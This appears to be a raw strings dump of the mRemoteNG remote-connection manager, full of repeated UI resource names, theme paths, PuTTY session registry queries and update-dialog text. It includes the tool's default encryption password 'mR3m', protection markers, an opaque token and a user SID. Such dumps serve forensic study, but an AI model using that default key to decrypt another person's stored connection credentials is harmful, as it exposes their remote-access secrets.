2.16.840.1.101.3.4.2.6 2.16.840.1.101.3.4.2.7 2.16.840.1.101.3.4.2.8 2.16.840.1.101.3.4.2.9 2.16.840.1.101.3.4.2.10 2.16.840.1.101.3.4.2.11 2.16.840.1.101.3.4.2.12 2.16.840.1.101.3.4.1 2.16.840.1.101.3.4.1.1 2.16.840.1.101.3.4.1.2 2.16.840.1.101.3.4.1.3 2.16.840.1.101.3.4.1.4 2.16.840.1.101.3.4.1.5 2.16.840.1.101.3.4.1.6 2.16.840.1.101.3.4.1.7 2.16.840.1.101.3.4.1.21 2.16.840.1.101.3.4.1.22 2.16.840.1.101.3.4.1.23 2.16.840.1.101.3.4.1.24 2.16.840.1.101.3.4.1.25 2.16.840.1.101.3.4.1.26 2.16.840.1.101.3.4.1.27 2.16.840.1.101.3.4.1.41 2.16.840.1.101.3.4.1.42 2.16.840.1.101.3.4.1.43 2.16.840.1.101.3.4.1.44 2.16.840.1.101.3.4.1.45 2.16.840.1.101.3.4.1.46 2.16.840.1.101.3.4.1.47 2.16.840.1.101.3.4.3 2.16.840.1.101.3.4.3.1 2.16.840.1.101.3.4.3.2 2.16.840.1.101.3.4.3.3 2.16.840.1.101.3.4.3.4 1.3.36.3 .2.1 .2.2 .2.3 .3.1 .3.2 .3.2.8 1.3.36.3.2.1 1.3.36.3.2.2 1.3.36.3.2.3 1.3.36.3.3.1 1.3.36.3.3.1.2 1.3.36.3.3.1.3 1.3.36.3.3.1.4 1.3.36.3.3.2 1.3.36.3.3.2.1 1.3.36.3.3.2.2 1.3.36.3.3.2.8 1.3.36.3.3.2.8.1 1.3.36.3.3.2.8.1.1 1.3.36.3.3.2.8.1.1.1 1.3.36.3.3.2.8.1.1.2 1.3.36.3.3.2.8.1.1.3 1.3.36.3.3.2.8.1.1.4 1.3.36.3.3.2.8.1.1.5 1.3.36.3.3.2.8.1.1.6 1.3.36.3.3.2.8.1.1.7 1.3.36.3.3.2.8.1.1.8 1.3.36.3.3.2.8.1.1.9 1.3.36.3.3.2.8.1.1.10 1.3.36.3.3.2.8.1.1.11 1.3.36.3.3.2.8.1.1.12 1.3.36.3.3.2.8.1.1.13 1.3.36.3.3.2.8.1.1.14 1.2.643.2.2.9 1.2.643.2.2.10 1.2.643.2.2.21 1.2.643.2.2.31.1 1.2.643.2.2.20 1.2.643.2.2.19 1.2.643.2.2.4 1.2.643.2.2.3 1.2.643.2.2.30.1 1.2.643.2.2.32.2 1.2.643.2.2.32.3 1.2.643.2.2.32.4 1.2.643.2.2.32.5 1.2.643.2.2.33.1 1.2.643.2.2.33.2 1.2.643.2.2.33.3 1.2.643.2.2.35.1 1.2.643.2.2.35.2 1.2.643.2.2.35.3 1.2.643.2.2.36.0 1.2.643.2.2.36.1 SHA1 SHA-1 SHA224 SHA-224 SHA-256 SHA384 SHA-384 SHA512 SHA-512 SHA512/224 SHA-512/224 SHA512/256 SHA-512/256 RIPEMD-128 RIPEMD128 RIPEMD-160 RIPEMD160 RIPEMD-256 RIPEMD256 RIPEMD-320 RIPEMD320 GOST3411 SHA3-224 SHA3-256 SHA3-384 SHA3-512 SHAKE128 SHAKE256 GOST3411 KECCAK_224 KECCAK_256 KECCAK_288 KECCAK_384 KECCAK_512 RIPEMD128 RIPEMD160 RIPEMD256 RIPEMD320 SHA_1 SHA_224 SHA_256 SHA_384 SHA_512 SHA_512_224 SHA_512_256 SHA3_224 SHA3_256 SHA3_384 SHA3_512 SHAKE128 SHAKE256 TIGER WHIRLPOOL SHA256 SHA_256 mR3m ThisIsNotProtected mR3m mR3m mR3m mac check in GCM failed strErrorDecryptionFailed Decryption failed. {0} mR3m cryptographyProvider cipherText authenticationRequestor mR3m mR3m lblVerify Verify: btnOK btnCancel pbLock txtVerify PasswordForm strButtonOK strButtonCancel &Cancel Lock Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing wfc.ico System.Windows.F System.Windows.Forms orms.wfc.ico System.Windows.Forms.wfc.ico Password Password Password Password WindowsForms10.BUTTON.app.0.129c866_r7_ad1 129c866 129c866_r7_ad1 129c866_r7_ad1 WindowsForms10.BUTTON.app.0.129c866_r7_ad1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 Password Password strTitlePassword Password Password Password strLabelPassword Password: Password: Password: strLabelVerify Verify: Verify: Verify: Password Password Password Password Password Password Password Password Password Password Password Password Password Password Password Password mRemoteNG mRemoteNG ToolStripContainer1 ToolStripContainer1 Connections Connections Config Config PropertyGrid PropertyGrid NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles mRemoteNG mRemoteNG ToolStripContainer1 ToolStripContainer1 Connections Connections Config Config PropertyGrid PropertyGrid NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles Password Password Password: Password: Password: Password: TextBox_Disabled_Foreground System Password Password Password Password Password Password Password Password Password Password Password: Password: Password: Password: System Button_Hover_Background Button_Hover_Foreground Button_Hover_Border Button_Pressed_Background Button_Pressed_Foreground Button_Pressed_Border Button_Background Button_Foreground Button_Border Button_Disabled_Background Button_Disabled_Foreground Button_Disabled_Border Password Password Password Password Password Password System Password Password Password Password Password Password System mRemoteNG mRemoteNG ToolStripContainer1 ToolStripContainer1 System System System Connections Connections MenuStrip1 MenuStrip1 NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles MenuStrip1 MenuStrip1 Default drawing is impossible in this situation System System System Config Config PropertyGrid PropertyGrid Description Pane Description Pane Description Pane Description Pane Segoe UI Segoe UI Segoe UI Segoe UI System System System Connections Connections Connections Connections MenuStrip1 MenuStrip1 NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles MenuStrip1 MenuStrip1 System System System Config Config PropertyGrid PropertyGrid PropertyGrid PropertyGrid Description Pane Description Pane Description Pane Description Pane Segoe UI Segoe UI Segoe UI Segoe UI PropertyGridView PropertyGridView PropertyGridView PropertyGridView PropertyGridView PropertyGridView PropertyGridView PropertyGridView PropertyGridToolBar PropertyGridToolBar REBAR TOOLBAR PropertyGridToolBar PropertyGridToolBar NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles Main Toolbar Main Toolbar NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles Main Toolbar Main Toolbar NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles System System System System NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles System System NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles System System NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles Password Password Password Password Password Password Password Password Password Password Password Password Password Password Password Password Password Password Password Password Password Password Password Password Password Password Password Password Password Password System Password Password Password Password Password Password System Password Password Password Password Password Password System Password Password Password Password Password Password Password Password Password Password Password Password Password Password Password Password Password Password System Password Password Password Password Password Password System yYo3mnaHVX4BnL9PBvIA yYo3mnaHVX4BnL9PBvIA yYo3mnaHVX4BnL9PBvIA yYo3mnaHVX4BnL9PBvIA yYo3mnaHVX4BnL9PBvIA yYo3mnaHVX4BnL9PBvIA yYo3mnaHVX4BnL9PBvIA yYo3mnaHVX4BnL9PBvIA yYo3mnaHVX4BnL9PBvIA yYo3mnaHVX4BnL9PBvIA yYo3mnaHVX4BnL9PBvIA Password Password Password Password PasswordForm ObjectDisposed_Generic [Resource lookup failed - null or empty resource name] [Resource lookup failed - infinite recursion or critical failure detected.] Infinite recursion during resource lookup within mscorlib. This may be a bug in mscorlib, or potentially in certain extensibility points such as assembly resolve events or CultureInfo names. Resource name: [mscorlib recursive resource lookup bug] en-US en-us en-us mscorlib.resources mscorlib.resources mscorlib.resourc mscorlib.resources System.Resources.RuntimeResourceSetcorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.RuntimeResourceSet mscorlib mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 mscorlib Cannot access a disposed object. mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 mscorlib mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 mscorlib Cannot access a disposed object. Password Password Verify: Verify: Password: Password: yYo3mnaHVX4BnL9PBvIA yYo3mnaHVX4BnL9PBvIA ThisIsProtected yYo3mnaHVX4BnL9PBvIA Type connection Expanded None Root Container Connection PuttyRoot PuttySession Descr Fullscreen UseVNC VNCPort RDPPort ConnectToConsole InheritCacheBitmaps InheritColors InheritDescription InheritDisplayThemes InheritDisplayWallpaper InheritIcon InheritPanel InheritPort InheritProtocol InheritPuttySession InheritRedirectDiskDrives InheritRedirectKeys InheritRedirectPorts InheritRedirectPrinters InheritRedirectSmartCards InheritRedirectSound InheritResolution InheritUseConsoleSession InheritDomain InheritPassword InheritUsername Inherit Connected InheritICAEncryptionStrength InheritPreExtApp InheritPostExtApp InheritVNCCompression InheritVNCEncoding InheritVNCAuthMode InheritVNCProxyType InheritVNCProxyIP InheritVNCProxyPort InheritVNCProxyUsername InheritVNCProxyPassword InheritVNCColors InheritVNCSmartSizeMode InheritVNCViewOnly InheritRDPAuthenticationLevel InheritRenderingEngine InheritMacAddress InheritUserField InheritExtApp InheritRDGatewayUsageMethod InheritRDGatewayHostname InheritRDGatewayUseConnectionCredentials InheritRDGatewayUsername InheritRDGatewayPassword InheritRDGatewayDomain InheritEnableFontSmoothing InheritEnableDesktopComposition InheritUseCredSsp InheritLoadBalanceInfo InheritAutomaticResize InheritSoundQuality InheritRDPMinutesToIdleTimeout False InheritRDPAlertIdleTimeout yYo3mnaHVX4BnL9PBvIA yYo3mnaHVX4BnL9PBvIA yYo3mnaHVX4BnL9PBvIA Boolean puttySessionProvider Software\SimonTatham\PuTTY\Sessions iso-8859-1 Default%20Settings Default Settings Software\SimonTatham\PuTTY\Sessions Software\SimonTatham\PuTTY\Sessions sshk&sess sessions putty.conf C:\Program Files (x86)\mRemoteNG\PuTTYNG.exe C:\Program Files (x86)\mRemoteNG C:\Program Files (x86)\mRemoteNG\putty.conf PuttyConfFileReader.LoadConfiguration() failed. C:\Program Files (x86)\mRemoteNG\putty.conf C:\Program Files (x86)\mRemoteNG\sessions C:\Users\job\AppData\Local C:\Users\job\AppData\Local C:\Users\job\AppData\Local C:\Users\job\AppData\Local\mRemoteNG C:\Users\job\AppData\Local\mRemoteNG\confCons.xml C:\Users\job\AppData\Local\mRemoteNG\confCons.xml C:\Users\job\AppData\Roaming\mRemoteNG\confCons.xml mRemoteNG.Settings UseFilterSearch virtualListSize sort-indicator-up sort-indicator-down Default Connection_ Connection_mRemoteNG_Default Couldn't get Icon from String C:\Program Files (x86)\mRemoteNG\Icons\mRemoteNG.ico C:\Program Files (x86)\mRemoteNG\Icons\mRemoteNG.ico mRemoteNG.ico C:\Program Files (x86)\mRemoteNG\Icons\mRemoteNG.ico / P6pL ,/KPip /-P?pR / P6pL ,/KPip /-P?pR Connection_mRemoteNG_Default Connection_mRemoteNG_Play ConnectedOverlay Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Switch.System.Drawing.DontSupportPngFramesInIcons Connections Connections TREEVIEW Explorer::TreeView System Connections Connections System Connection_mRemoteNG_Default PAM SSH PAM SSH System PAM SSH PAM SSH System Connection_mRemoteNG_Default Connection_mRemoteNG_Default mRemoteNG - conf confCons.xml Cons.xml mRemoteNG - confCons.xml mRemoteNG mRemoteNG mRemoteNG mRemoteNG mRemoteNG mRemoteNG mRemoteNG - confCons.xml mRemoteNG - confCons.xml XmlConnectionsLoader Connections loaded using XmlConnectionsLoader SELECT * FROM RegistryTreeChangeEvent WHERE Hive = 'HKEY_USERS' AND RootPath = ' PuttySessions.Watcher.StartWatching() failed. http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name AD AUTHORITY http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid http://schemas.microsoft.com/ws/2008/06/identity/claims/role http://www.w3.org/2001/XMLSchema#string LOCAL AUTHORITY S-1-{0} -{0} S-1-5-21-3914889 3914889805 805-4071901059-9 4071901059 918772286 18772286-1001 1001 S-1-5-21-3914889805-4071901059-918772286-1001 S-1-5-21-3914889805-4071901059-918772286-1001 S-1-5-21-3914889805-4071901059-918772286-1001\Software\SimonTatham\PuTTY\Sessions S-1-5-21-3914889805-4071901059-918772286-1001\\Software\\SimonTatham\\PuTTY\\Sessions SELECT * FROM RegistryTreeChangeEvent WHERE Hive = 'HKEY_USERS' AND RootPath = 'S-1-5-21-3914889805-4071901059-918772286-1001\\Software\\SimonTatham\\PuTTY\\Sessions' select * from within group within having where select * FROM RegistryTreeChangeEvent WHERE Hive = 'HKEY_USERS' AND RootPath = 'S-1-5-21-3914889805-4071901059-918772286-1001\\Software\\SimonTatham\\PuTTY\\Sessions' FROM RegistryTreeChangeEvent WHERE Hive = 'HKEY_USERS' AND RootPath = 'S-1-5-21-3914889805-4071901059-918772286-1001\\Software\\SimonTatham\\PuTTY\\Sessions' FROM RegistryTreeChangeEvent WHERE Hive = 'HKEY_USERS' AND RootPath = 'S-1-5-21-3914889805-4071901059-918772286-1001\\Software\\SimonTatham\\PuTTY\\Sessions' RegistryTreeChangeEvent WHERE Hive = 'HKEY_USERS' AND RootPath = 'S-1-5-21-3914889805-4071901059-918772286-1001\\Software\\SimonTatham\\PuTTY\\Sessions' RegistryTreeChangeEvent WHERE Hive = 'HKEY_USERS' AND RootPath = 'S-1-5-21-3914889805-4071901059-918772286-1001\\Software\\SimonTatham\\PuTTY\\Sessions' WHERE Hive = 'HKEY_USERS' AND RootPath = 'S-1-5-21-3914889805-4071901059-918772286-1001\\Software\\SimonTatham\\PuTTY\\Sessions' where hive = 'hkey_users' and rootpath = 's-1-5-21-3914889805-4071901059-918772286-1001\\software\\simontatham\\putty\\sessions' Hive = 'HKEY_USERS' AND RootPath = 'S-1-5-21-3914889805-4071901059-918772286-1001\\Software\\SimonTatham\\PuTTY\\Sessions' \\.\root\cimv2 within where group within by having select * from RegistryTreeChangeEvent select * from RegistryTreeChangeEvent where Hive = 'HKEY_USERS' AND RootPath = 'S-1-5-21-3914889805-4071901059-918772286-1001\\Software\\SimonTatham\\PuTTY\\Sessions' System select * from RegistryTreeChangeEvent select * from RegistryTreeChangeEvent where Hive = 'HKEY_USERS' AND RootPath = 'S-1-5-21-3914889805-4071901059-918772286-1001\\Software\\SimonTatham\\PuTTY\\Sessions' System \\.\root\cimv2 System Connection_mRemoteNG_Default PAM SSH PAM SSH PAM SSH PAM SSH System Connections Connections Connections Connections System Not found Exception_WasThrown PuttySessions.Watcher.StartWatching() failed. Not found TextLogMessageWriterWriteWarningMsgs 2026 2026-02-24 09:07:34 WARN XmingPortablePuttySessions.Watcher.StartWatching() failed: ' ' does not exist. XmingPortablePuttySessions.Watcher.StartWatching() failed. C:\Program Files (x86)\mRemoteNG\PuTTYNG.exe C:\Program Files (x86)\mRemoteNG C:\Program Files (x86)\mRemoteNG\putty.conf C:\Program Files (x86)\mRemoteNG\putty.conf C:\Program Files (x86)\mRemoteNG\sessions XmingPortablePuttySessions.Watcher.StartWatching() failed: 'sessions' does not exist. WARN StartupComponentsCheck Determining if we need a database syncronizer Creating database syncronizer strScreen Screen Screen 1 strSendTo Send To... strLockToolbars Lock toolbar positions strMultiSshToolbar Multi SSH toolbar mRemoteNG - confCons.xml mRemoteNG - confCons.xml mRemoteNG - confCons.xml mRemoteNG - confCons.xml CreateEmptyPanelOnStartUp mRemoteNG - confCons.xml mRemoteNG - confCons.xml ToolStripContainer1 ToolStripContainer1 Connections Connections MenuStrip1 MenuStrip1 MenuStrip1 MenuStrip1 Connections Connections MenuStrip1 MenuStrip1 Config Config PropertyGrid PropertyGrid PropertyGridToolBar PropertyGridToolBar ToolStripContainer1 ToolStripContainer1 ToolStripContainer1 ToolStripContainer1 Main Toolbar Main Toolbar ToolStripContainer1 ToolStripContainer1 Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar Main Toolbar ToolStripContainer1 ToolStripContainer1 Main Toolbar Main Toolbar ToolStripContainer1 ToolStripContainer1 ToolStripContainer1 ToolStripContainer1 CheckForUpdatesAsked strAskUpdatesCommandRecommended Use the recommended settings strAskUpdatesCommandCustom Customize the settings now strAskUpdatesCommandAskLater Ask me again later strAskUpdatesMainInstruction Automatic update settings strAskUpdatesContent {0} can automatically check for updates that may provide new features and bug fixes. It is recommended that you allow {0} to check for updates weekly. mRemoteNG can automatically check for updates that may provide new features and bug fixes. It is recommended that you allow mRemoteNG to check for updates weekly. Use the recommended settings | Customize the settings now | Ask me again later Main Instruction Text Main Instruction imgMain lbContent pnlButtons cbVerify Don't ask me this again lbShowHideDetails Show details imageList1.ImageStream arrow_up_bw.bmp arrow_up_color.bmp arrow_up_color_pressed.bmp arrow_down_bw.bmp arrow_down_color.bmp arrow_down_color_pressed.bmp green_arrow.bmp panel2 pnlFooter lbFooter imgFooter panel5 panel3 pnlCommandButtons pnlMainInstruction pnlContent pnlExpandedInfo lbExpandedInfo pnlRadioButtons frmTaskDialog frmTaskDialog mRemoteNG mRemoteNG.resources frmTaskDialog.en-US.resources frmTaskDialog.en-US.resources mRemoteNG.UI.Tas mRemoteNG.UI.TaskDialog kDialog.frmTaskD ialog.en-US.resources mRemoteNG.UI.TaskDialog.frmTaskDialog.en-US.resources mRemoteNG.UI.TaskDialog.frmTaskDialog.en-US.resources mRemoteNG.UI.Tas kDialog.frmTaskD ialog.en-US.resources mRemoteNG.UI.TaskDialog.frmTaskDialog.en-US.resources mRemoteNG.Resources.Language.Language.en-US.resources mRemoteNG.resources frmTaskDialog.resources frmTaskDialog.resources mRemoteNG.UI.Tas kDialog.frmTaskD ialog.resources mRemoteNG.UI.TaskDialog.frmTaskDialog.resources System.Resources.RuntimeResourceSetcorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.RuntimeResourceSet mscorlib mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 mscorlib System.Windows.Forms.ImageListStreamer, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 mscorlib mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 mscorlib System.Windows.Forms.ImageListStreamer, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Windows.Forms.ImageListStreamer, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Windows.Forms.ImageListStreamer System.Windows.Forms System.Windows.Forms, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Windows.Forms Dataem.Windows.Forms.ImageListStreamer Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Windows.Forms.ImageListStreamer Data System.Windows.Forms System.Windows.Forms, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Windows.Forms System.Windows.Forms Segoe UI Segoe UI Segoe UI Segoe UI \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 Hide details &Yes &Cancel &Close \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 mRemoteNG mRemoteNG mRemoteNG mRemoteNG \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 mRemoteNG mRemoteNG mRemoteNG can automatically check for updates that may provide new features and bug fixes. It is recommended that you allow mRemoteNG to check for updates weekly. mRemoteNG can automatically check for updates that may provide new features and bug fixes. It is recommended that you allow mRemoteNG to check for updates weekly. mRemoteNG mRemoteNG mRemoteNG mRemoteNG mRemoteNG mRemoteNG mRemoteNG mRemoteNG mRemoteNG mRemoteNG Use the recommended settings Customize the settings now Ask me again later mRemoteNG mRemoteNG mRemoteNG mRemoteNG mRemoteNG mRemoteNG mRemoteNG mRemoteNG \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 mRemoteNG mRemoteNG mRemoteNG mRemoteNG \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 mRemoteNG mRemoteNG green_arrow1 Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing green_arrow2 Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing Dataem.Drawing.Bitmapon=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing.Bitmap Data System.Drawing System.Drawing, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a System.Drawing \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 \\.\DISPLAY1 mRemoteNG mRemoteNG mRemoteNG mRemoteNG ToolStripContainer1 ToolStripContainer1 PropertyGrid PropertyGrid mRemoteNG mRemoteNG Segoe UI Segoe UI Segoe UI Segoe UI Segoe UI System System System System System mRemoteNG can automatically check for updates that may provide new features and bug fixes. It is recommended that you allow mRemoteNG to check for updates weekly. mRemoteNG can automatically check for updates that may provide new features and bug fixes. It is recommended that you allow mRemoteNG to check for updates weekly. mRemoteNG can automatically check for updates that may provide new features and bug fixes. It is recommended that you allow mRemoteNG to check for updates weekly. mRemoteNG can automatically check for updates that may provide new features and bug fixes. It is recommended that you allow mRemoteNG to check for updates weekly. System ToolStripContainer1 ToolStripContainer1 System System System MenuStrip1 MenuStrip1 NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles NormalColor NormalColor C:\WINDOWS\resources\themes\Aero\Aero.msstyles C:\WINDOWS\resources\themes\Aero\Aero.msstyles Aero.msstyles MenuStrip1 MenuStrip1 Connection_mRemoteNG_Default PAM SSH PAM SSH PAM SSH PAM SSH System Connections Connections Connections Connections System PropertyGrid PropertyGrid Description Pane Description Pane Description Pane Description Pane Segoe UI Segoe 